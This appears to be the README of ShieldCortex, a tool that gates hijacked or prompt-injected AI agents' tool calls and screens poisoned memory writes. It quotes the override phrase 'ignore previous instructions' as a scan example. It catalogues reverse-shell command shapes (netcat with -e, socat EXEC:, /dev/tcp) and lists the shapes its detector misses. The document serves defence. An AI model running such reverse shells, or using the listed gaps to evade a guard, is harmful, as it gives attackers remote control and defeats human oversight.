Stops a hijacked or prompt-injected AI agent from running destructive commands, leaking secrets, or poisoning memory it writes through ShieldCortex.
Trusted task: let it work. Hijack: a plain-English card. Catastrophe: a hard stop.
ShieldCortex scans memory writes that go through it and, once turned on, gates the tools an agent calls on Claude Code, OpenClaw and Hermes. Codex, Cursor, VS Code and other MCP hosts get a memory scanner the model may call, not a gate. It does not replace OpenClaw, Hermes, or Claude memory.
In 5.24.0, Doctor's OpenClaw plugin pins row and the managed-pin step of shieldcortex openclaw repair use OpenClaw's install index on supported default setups, not the newest copy on disk. A pass, or a repair reported clean or healed, requires the selected copy's metadata to match this CLI's bundled plugin metadata; when Doctor cannot verify the pins, it explains why. This fixes the 5.23.0 known issue. It is a minor release because the row can now fail, and the repair exit 1, on some hosts where 5.23.0 exited 0. Before running that repair, upgrade with shieldcortex update, which also tries to bring the OpenClaw plugin to the matching version and reports when it could not. 5.23.0 made the Claude Code PreToolUse hook fail closed: setup writes onFailure: "block" on new ShieldCortex PreToolUse entries, and setup, update and repair fill in a missing setting on eligible entries and keep an explicit one (applied by Claude Code 2.1.295 and later, per the Claude Code changelog); with the guard enabled the hook denies a request it cannot parse or read in full. Release notes.
- Tool gate. On Claude Code and OpenClaw, once Action Guard is on (it stays off until you turn it on), a trusted task runs, a suspicious call gets a plain-English card and is held for your approval, and a catastrophic command is a hard stop. When nobody is at a prompt, the denial or held request sent to your Action Guard webhook carries that card (5.18+): what, why, who and the exact
shieldcortex approvecommand, never the raw command or a credential. Hermes gates tool calls once you enable its plugin and the local API (shieldcortex api) is up; the plugin has its own setting, and Hermes has no approval prompt, so a call Action Guard would hold is blocked while enforcing. Hermes plugin, Policy lock, What's new in 5.18. - Memory firewall. Writes that go through ShieldCortex are scanned before they stick: recognised injection and leaked credentials are quarantined or blocked. How scan results work.
- Memory-directive screen. A standing order written into agent memory that relaxes a control, claims authority, hides something from you in a direct form, routes secrets, overrides the agent's identity in a direct form, sets a permissive default or sends everything outside is not stored silently. Automatic capture (the Claude Code hooks, the OpenClaw cortex-memory hook and the OpenClaw plugin's assistant-output capture) refuses it. An agent's MCP
rememberorimport_memoriescall is held in quarantine, and only you can release that hold, from the dashboard; the MCPquarantine_reviewtool cannot approve it. Text a recall appends to a memory is dropped on a hit. Your ownshieldcortex rememberis not screened. It is a floor, not an intent detector: deterministic, lexical, English-only, no model call, so a reworded order with no control words gets past it. With Action Guard turned on (it is still off by default), the same screen also runs on an agent's memory-tool write and on its Write or Edit to a memory file, and a hit asks for approval. While the guard enforces in Claude Code or OpenClaw and there is an approver to ask, only a human answer releases it. Hermes has no approval prompt, so an enforcing Hermes install blocks the call; watch-only advisory, the enforce-when-ready shadow and an OpenClaw failure policy ofallowbehave as for any other dangerous verdict. The scanner defaults and every other scan label are unchanged. Details and limits, Guard modes, enforce-when-ready shadow, OpenClaw failure policy. - Reports changes. At each fresh Claude Code startup, the agent config watch checks the hooks and MCP servers in Claude Code, OpenClaw, Cursor, Codex and Gemini CLI configs. At each Claude Code session start, the MCP tool-description check compares the tool descriptions of the local MCP servers in your user-level configs with the last check, at most once per 6 hours per server unless its launch config changed. When either finds a change ShieldCortex did not make, it sends one message to your Action Guard webhook, if one is set. They detect and report; they do not block, and the config watch is not live. Limits, What's new in 5.17, What's new in 5.14.
shieldcortex scan "ignore previous instructions"ShieldCortex Scan Result
──────────────────────────────────────────────────
Result: QUARANTINE
Source: cli:shieldcortex-scan (attested)
Provenance: cli (trusted, L2 not applied)
Trust: 0.90
Sensitivity: PUBLIC
Anomaly: 0.00
Reason: Quarantined: Instruction injection detected (confidence: 0.8)
Threats: instruction_injection
Patterns: hidden_instruction
That string was caught and quarantined. Nothing was stored as a memory, and the exit code is non-zero so a script or CI job can act on it. How scan results work.
Requires Node 22.14+ or 24+. Upgrading from 4.x? Read Upgrading to 5 first. Node 20, Node 23, and what npm does.
npm install -g shieldcortex
shieldcortex setup
shieldcortex doctorBare setup asks before wiring each host (setup <host> wires that host without asking). Setup can change Claude Code and OpenClaw config files, and may restart the OpenClaw gateway: what setup writes. Details: Updating, Storage maintenance, What postinstall does, Offline embedding cache.
What setup writes, and installs without lifecycle scripts
setup is the onboarding command: it prints one host table and asks before wiring each host. shieldcortex setup claude skips the table and runs the Claude Code install without asking. That install can write ~/.claude/CLAUDE.md, ~/.claude.json and ~/.claude.json.bak-shieldcortex if it replaces the file, ~/.claude/settings.json and ~/.claude/settings.json.bak-shieldcortex if it replaces the file, and ~/.claude/hooks/cortex-memory/ unless any detected hook root already has a cortex-memory directory. If that hook installer runs against a writable OpenClaw root, it can also copy the OpenClaw hook, install or register the realtime plugin, snapshot and rewrite openclaw.json, and may restart the gateway. Two older names still work. quickstart takes the same targets as setup's guided path, without hook flags or uninstall. install is not the wizard: it runs that same Claude Code install as setup claude, and is kept for existing scripts and the --without-* hook opt-outs. Within 5.x, update with shieldcortex update.
If npm skipped the package's lifecycle scripts (for example --ignore-scripts, or ignore-scripts=true in an npm config), ShieldCortex's postinstall did not run. On a global install that step wires no host. It prints the next step, checks that the database engine loads, writes a default ~/.shieldcortex/config.json when none exists, refreshes an OpenClaw integration that is already present, and on macOS restarts a dashboard service still running an older build. Skipping it does not skip onboarding: run shieldcortex setup, then shieldcortex doctor. Without that config file, prompt-time recall stays off until you turn it on. What postinstall does.
Action Guard stays off until you turn it on. That shared setting is the tool gate for Claude Code and OpenClaw. A bare sudo shieldcortex protect turns it on and pins that posture. Policy lock. The Hermes plugin does not read the shared setting; it has its own (below).
When an agent installs a package by name (npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx), Action Guard first looks the exact version up in OSV and the package registry. A package OSV lists as known malicious is blocked on every posture, watch-only included; when OSV lists a malicious release under a package name and the version you would install cannot be confirmed, the install stays blocked until you pin a version. A published advisory, a version younger than actionGuard.packageVetting.minAgeDays days (default 7) or install scripts only add reasons to the approval card and the audit row; they never block on their own. An OSV answer that is not in the documented shape counts as a lookup that could not finish. The agent-config watch runs the same lookup, report-only, for an MCP server entry it reports as added or changed. A lookup that cannot finish is reported as unchecked, never read as clean, and the install goes ahead as the guard would otherwise decide, except that a recently cached known-malicious hit still blocks. Malformed cache rows are discarded individually, so they cannot cancel another package's online or valid cached malicious hit. actionGuard.packageVetting.enabled: false turns the check off, but not under a policy lock or the strict fail-closed posture, which drop that opt-out. Package vetting.
Reverse shells (since 5.20.4, #1005). Action Guard is off by default, and nothing here turns it on. With it on, a command that wires a shell to a network socket, so another machine can run commands here, is held for approval with the reverse-shell signal. That is the dangerous approval tier, never a block, never the catastrophic tier, and it does not feed the secret-egress check. The signal covers common shapes in four families: netcat (nc, ncat, netcat) with an exec flag (-e, -c, --exec, --sh-exec) or with its output piped into a shell; socat with an EXEC:, SYSTEM: or SHELL: address next to a network address, in either order; a shell whose stdin is a /dev/tcp or /dev/udp socket, redirected or duplicated from a descriptor opened with exec; and an interactive shell (sh -i, bash -i) piped into netcat. It reads through the wrapper commands sudo, doas, env, nohup, timeout, time, stdbuf, nice, ionice, setsid, command, builtin and exec (only these, at any path, with their own options and option arguments) and BusyBox applet dispatch (busybox nc); the first word a wrapper does not take is the command, so env echo nc -e only prints. It also reads shell keywords such as if, while and { at the start of a command, and a command or flag quoted as a whole word. While the guard enforces in Claude Code or OpenClaw and there is an approver to ask, only a human answer releases it: the approval prompt (in OpenClaw, its own allow-once/deny approval request), or shieldcortex approve typed in your own terminal. An actionGuard.autoApprove entry never releases it, not even one naming network_egress (the action it shares with ordinary uploads), exec, egress or the signal itself, and neither does an approval-broker pre-clear; in OpenClaw the broker never approves it on an unanswered timeout either. The exceptions, where it can run with no human answer, are the ones every dangerous-tier call has: watch-only advisory mode (enforce: false), which runs it with a warning; the enforce-when-ready shadow, which runs it with a would-hold record; and an OpenClaw session whose failure policy for high severity is allow (the default is deny), when the session is unattended with no approver and no approval-broker decision, when the approver fails with an error, or when the guard cannot be reached. It is not eligible for ShieldCortex's one-tap phone approve (#815), because the commands would come from the other machine at run time and no card can show them; OpenClaw still raises its own approval request for it, and answering that is a human answer. Hermes reads its own setting (below) and has no approval prompt, so an enabled Hermes plugin blocks the call while enforcing (its default) and lets it run in advisory mode. When the guard cannot be reached (for Claude Code and OpenClaw with Action Guard on, for Hermes with its plugin enabled), the Claude Code hook, the OpenClaw plugin and the Hermes plugin fall back to a copy of the same pattern: the Claude Code hook still asks, the OpenClaw plugin denies unless its failure policy for high severity is allow, and Hermes blocks while enforcing; in advisory mode (enforce: false, or Hermes' SHIELDCORTEX_ENFORCE=0) the fallback lets it run. In the fallback too, a quoted mention under a data command such as echo, grep or gh --body stays allowed, Markdown backticks inside single quotes included, and a shell comment (# docs: 'nc -e') runs nothing, as with the guard up. The fallback skips only a comment it is sure of, and only in comment lines before the first command and on that command's line (an alias defined on one line can change how bash reads the next). From the first $(…), ${…}, backtick, heredoc, ((, [[, line continuation or # inside an unclosed [ (an array subscript such as a[ #]=v keeps the # as data) onward, it reads every # as text. So a mention in a later comment can still ask or be denied while the guard is down. Port checks (nc -z), local listeners, port forwards, ssh, a script piped into tee, a socket read or written by a program that is not a shell (such as the bash /dev/tcp HTTP idiom), and quoted mentions in echo, grep, a commit message or gh --body stay allowed. This asks before common reverse-shell shapes run; it does not catch every one, and it is not a complete defence against reverse shells. Not covered: interpreter one-liners (Python, Perl, PHP, Ruby), openssl s_client, awk's /inet/tcp, telnet, network data piped into a non-interactive shell other than straight from netcat, a command name built at run time, a name with a quote inside it, a function body (f(){ nc … -e /bin/sh; }; f, function f { …; }), a case arm, coproc, a socket opened by a leading redirection (3<>/dev/tcp/h/4444 bash <&3 >&3), a wrapper not in the list above (such as chroot, unshare, strace, watch, flock, xargs, runuser or toybox), a shell other than sh, bash, zsh, dash, ksh and ash (such as rbash, mksh, fish, or busybox sh as the pipe target), a pipe chain with another stage between netcat and the shell (nc h 4444 | tee x | sh, nc h 4444 | env sh) or between the shell and netcat (sh -i | busybox nc …, sh -i | socat - tcp:…), and, with the guard up, a quoted command that xargs … sh -c hands to a shell (echo '…' | xargs -I{} sh -c '{}', a gap every signal shares; the fallback asks). Known false positive: nc -c always asks, though -c does not run a command everywhere: on OpenBSD it turns on TLS, and on macOS and FreeBSD it sends CRLF line endings, so nc -c h 25 asks too.
| Host | Memory scan | Tool gate |
|---|---|---|
| Claude Code | yes | bound (PreToolUse) |
| OpenClaw | yes | bound (before_tool_call) |
| Hermes | via the local API | bound (pre_tool_call) |
| Codex, Cursor, Copilot, MCP | if the agent calls the tools | not a gate |
| LangChain, Python SDK | if you call scan or save |
not a gate |
| Claude SDK browser / computer toolsets (TypeScript) | no | observe by default; mode: 'enforce' refuses or holds for approval (shieldcortex/toolsets, 5.8+) |
shieldcortex doctor prints the same split: memory + tool gate for a host that can deny, and memory only, not a gate, for one that cannot. Its Action guard posture row shows the configured posture of each gate plane: the Claude Code hook, the OpenClaw plugin (its openclaw.json entry merged over the shared setting, then the policy lock) and Hermes (from the Hermes process's own self-report only, since Hermes does not read the shared setting).
Host details and limits
It fails when the hook and the plugin disagree, or when Hermes reports a looser posture than they hold; Hermes reporting a tighter one is shown, not failed. shieldcortex guard posture prints the same reading and changes nothing. These are configured postures, not a check of running processes. It will not print "protected" for a host that cannot deny.
Hermes gates tool calls once you run hermes plugins enable shieldcortex and the local API (shieldcortex api) is up. The enabled plugin enforces by default, whatever the shared Action Guard setting says: it blocks unless SHIELDCORTEX_ENFORCE opts it out (0, false, no, off or advisory). Hermes has no approval prompt, so a call Action Guard would hold for approval is blocked while enforcing. Advisory mode still blocks Action Guard's hard-block verdicts and recognised calls that would change the guard's own state or config (a plain read of its config with ls, cat, head, tail, wc, stat, du, grep or jq and plain arguments is not one of them; a read with an environment prefix, an option the guard cannot prove harmless, a redirection, nested execution or an interpreter still is). While the API is unreachable, its bounded fallback scan blocks the self-protection and catastrophic shapes it recognises in every mode, and recognised dangerous shapes while enforcing (the default). In advisory mode, the fallback blocks only the recognised self-protection and catastrophic shapes, and a fallback surface too large for it to read in full. Hermes plugin. Codex, Cursor, VS Code, and other MCP hosts get a memory server the model may call. That server is a scanner, not a deny.
If the Claude Code hook script, or a helper it imports, fails to load or the hook exits with an error, recognised catastrophic commands still get a specific denial, even with the guard off (every Claude Code build); those patterns are blunt, so while the hook is broken they also stop routine recursive force-deletes. Any other failure of the effective synchronous hook is down to Claude Code: on 2.1.295 and later (per the Claude Code changelog), the entry's onFailure: "block" makes Claude Code block the call, even with the guard off. That includes every call while the hook cannot start or answer at all, which gets no specific denial. Fail-closed is not supported on older builds; upgrade Claude Code. To recover, fix the install (shieldcortex doctor shows the repair). To opt down for good, set that entry's onFailure to "continue" (setup, update and repair keep it), or turn the guard off with actionGuard.enabled:false, which applies while the hook can still start. Do not delete the entry: while another ShieldCortex hook remains in the file, update and repair add it back. Full note.
The optional enforce-when-ready posture runs the dangerous tier in shadow until this install's own audit shows the guard is operable and reviewed evidence for the running version exists. No such evidence ships yet, so today it stays in shadow and says so. What's new in 5.4.
Native-exec audit signal (5.19+). With Action Guard on, the Claude Code hook and the OpenClaw plugin record, per session, the paths the agent wrote (write tools, shell redirections, tee, dd of=, curl -o, wget -O) or compiled (cc, gcc, clang, rustc and other compilers with -o, go build -o; a default a.out except for rustc/ghc). When a later call runs, preloads (LD_PRELOAD, LD_AUDIT, DYLD_INSERT_LIBRARIES) or names one of those files, and it is now an ELF, Mach-O or PE image that the recorded call changed, the audit row gets a nativeExec field: exec, load or reference, plus agent-written, compiled-output or ambiguous. A compile and run in the same call is logged with sameCall: that is prospective, named from the compile command without reading the output's header, so it does not prove the compile or the run happened, and statement order is not modelled. It is a log entry only. It never denies, holds, escalates or changes severity, including in a tainted OpenClaw session. It is best effort: a path built at runtime, a bare command name found on PATH, a computed cd, a write it does not recognise (cp, archive extraction) or a call with no session id is not logged, and executable-memory mapping is not covered. The nativeExec field holds no path text (other row fields, such as the redacted args, may). Each record under ~/.shieldcortex/native-provenance/ is named by a keyed hash of the path and holds only a kind, a stat of the file before the call and a timestamp. A session's records are swept once its store directory has gone over 24 hours without changing, checked when another session records for the first time, not on a timer. The directory changes only when the session records something, so running or probing recorded files does not keep it alive. The sweep removes only expired session directories, and the store refuses to write, read or sweep through a symlink or special file already in place when it checks (a concurrent swap is not closed). A file starting MZ, or a Java class file, can be labelled as native. auditAllows: false turns these rows off with the other allow rows. What's new in 5.19.
shieldcortex policy-evidence (5.5+) reports what each runtime's own self-report says it is enforcing, as local self-reports rather than attestation. What's new in 5.5.
Webhook notifications for a headless denial or a held approval end with a card block (5.18+, version 1): the same what, why and who, the exact approve command, and Approve/Deny choices that carry only the action id. The guard half of one-tap approve from Telegram also ships in 5.18, as a loopback-only shieldcortex guard approve-tap endpoint that is off by default; the card carries no nonce yet, so a tap cannot be completed end to end in this release. What's new in 5.18.
- Local dashboard.
shieldcortex dashboardis a local view: Home, Needs you, Memory, Protection, Settings. It is not an approval inbox: held actions are still answered in Telegram or OpenClaw. What it needs, details. - Security audit.
shieldcortex auditscans an AI agent's environment and prints a graded report;--sarifwrites SARIF 2.1.0. - Skill and instruction-file scanner.
shieldcortex scan-skill <file>scans one file;scan-skillsdiscovers all instruction files. - Doctor.
shieldcortex doctorprints the host table,memory + tool gateor memory only, not a gate, per host, and will not print "protected" for a host that cannot deny. Doctor and the host table. - Claude SDK toolsets.
shieldcortex/toolsets(5.8+) sits in front of a Claude SDK browser-use or computer-use driver and by default records what each call would trigger without changing what runs;mode: 'enforce'refuses the riskiest calls and holds risky ones for your approval. Quickstart. - Approval cards (5.6+) say what a held action does, why it was held and who asked, in plain English, without the raw command. What's new in 5.6.
Two different apps.
- Local (
shieldcortex dashboard) runs on your machine. The Skill & package scanner (formerly X-Ray) lives here, under Protection. - Cloud is the fleet view: Shield, Capture, Recall, Library, Graph, Replay, Review, Quarantine, Dome, Devices, Keys. Default chrome is glass (Shield). Cloud does not ship X-Ray.
Free cloud: 500 scans/month, 7-day retention, 1 member. Enterprise (fleets, SSO, full replica): sales@drakonsystems.com.
- Docs
- Dashboard guide
- Changelog
- Updating
- Security (security@drakonsystems.com)
- Contributing
- Licence: MIT. Every local feature is free.
Dashboard and recall details
- Inspect.
shieldcortex dashboardis a local view: Home, Needs you, Memory, Protection, Settings. The Skill & package scanner (formerly X-Ray) is a Protection tab. Memory has Search & browse, Map, Recall, Needs a check, Timeline, Replay, and Files. Needs you lists held-back items, memory pairs that disagree or look duplicated, and new scanner findings. It is not an approval inbox: held actions are still answered in Telegram or OpenClaw. Its counts are labelled when they are partial: pair counts stop at 20 of each kind and the disagreement check compares only the 200 most important memories, a list that failed to refresh shows its last known count, and scanner findings cover the whole computer even when a project is selected. Prompt-time recall into Claude Code is not automatic. What it needs. In prompt-time recall (theUserPromptSubmithook), turns detected as a cron job, subagent or liveness probe, or pinned to one of those lanes, get narrower recall than the owner's chat, and rows labelled PERSONAL (private-life notes the classifier recognised or a backfill raised) are withheld from them. This is not universal isolation: a private note the classifier missed and labelledPUBLICcan still reach those lanes, and SessionStart context, MCP tool reads and dashboard previews are not lane-scoped. Recall lanes.
Website ·
Docs ·
npm ·
Changelog
Built by Drakon Systems
